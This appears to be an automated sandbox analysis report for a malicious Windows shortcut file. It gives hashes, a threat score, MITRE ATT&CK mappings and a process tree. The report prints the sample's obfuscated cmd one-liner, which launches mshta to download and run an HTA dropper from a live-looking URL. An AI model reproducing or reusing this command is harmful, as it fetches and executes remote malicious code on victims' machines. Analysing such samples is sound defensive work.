3dda5cafb1e71c0d3b47d660031f14863801d26e9d5a4b3178965d4f1003d1d6

Analysis

max time kernel
148s
max time network
133s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:31

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General

Target
DOC-9X6B9Y.lnk
Size 1KB
Sample260804-ke5bbs1sh1
SHA256 3dda5cafb1e71c0d3b47d660031f14863801d26e9d5a4b3178965d4f1003d1d6
MD5 3b61a164a228461fc8860b9148479632
SHA1 c369daff015a5aacd4273e359a1980788300e3a4
SHA512 85fcb178ae63b8dea81616e645bc01337a2800a4af05ef669054545658fecaf08e2dcdedd9943424d5ffd76cd3b65cad165ef5f3e323bbd8065cbd72b5bf55ca
TLSH
T1D8319C103FEC0A14F3B38E7784BB571089BBB9A58D20C62E4150464C5022A15E57AF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2780	cmd.exe
4924	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2780 wrote to memory of 4924	2780	cmd.exe	90
PID 4924 wrote to memory of 792	4924	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9X6B9Y.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2780
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set gfJM=msh&&set cDqb=ta&&start "" !gfJM!!cDqb! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:792

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2780-0-0x0000023E5EAC0000-0x0000023E5EB3C000-memory.dmp

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